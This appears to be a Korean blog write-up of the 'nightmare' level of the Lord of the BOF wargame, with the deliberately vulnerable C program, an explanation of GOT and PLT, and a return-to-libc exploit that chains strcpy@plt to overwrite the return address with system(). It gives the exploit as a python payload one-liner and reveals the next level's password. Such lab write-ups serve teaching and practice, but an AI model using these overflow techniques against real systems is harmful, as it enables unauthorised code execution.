2011. 6. 15. 00:26

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- nightmare

- PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// check address

addr = (char *)&strcpy;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with strcpy()\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다.
이 plt의 strcpy의 참조 주소를 이용해 RTL로 문제를 풀도록 하자.


 

   

♧ GOT와 PLT [ 참조 ]

GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다.
PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써

이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다.

(매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제

시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다.


   

[ summary ]

♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.

  


   

   

[ Attack ]

필요한 주소 구하기.

ⓐ strcpy@plt

ⓑ strcpy[dest], strcpy[src]=argv[2] 주소 (사본 생성 후 주소 출력)


dest = 0xbffffaa0 + 48 = [ 0xbffffad0 ]

argv =[ 0xbffffc58 ]

   

∑xploit

$(python -c 'print "A"*44 + "\x10\x84\x04\x08" + "dumm" + "\xd0\xfa\xff\xbf" + "\x58\xfc\xff\xbf"') $(python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

  


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

succubus : "here to stay"

 

Posted by devanix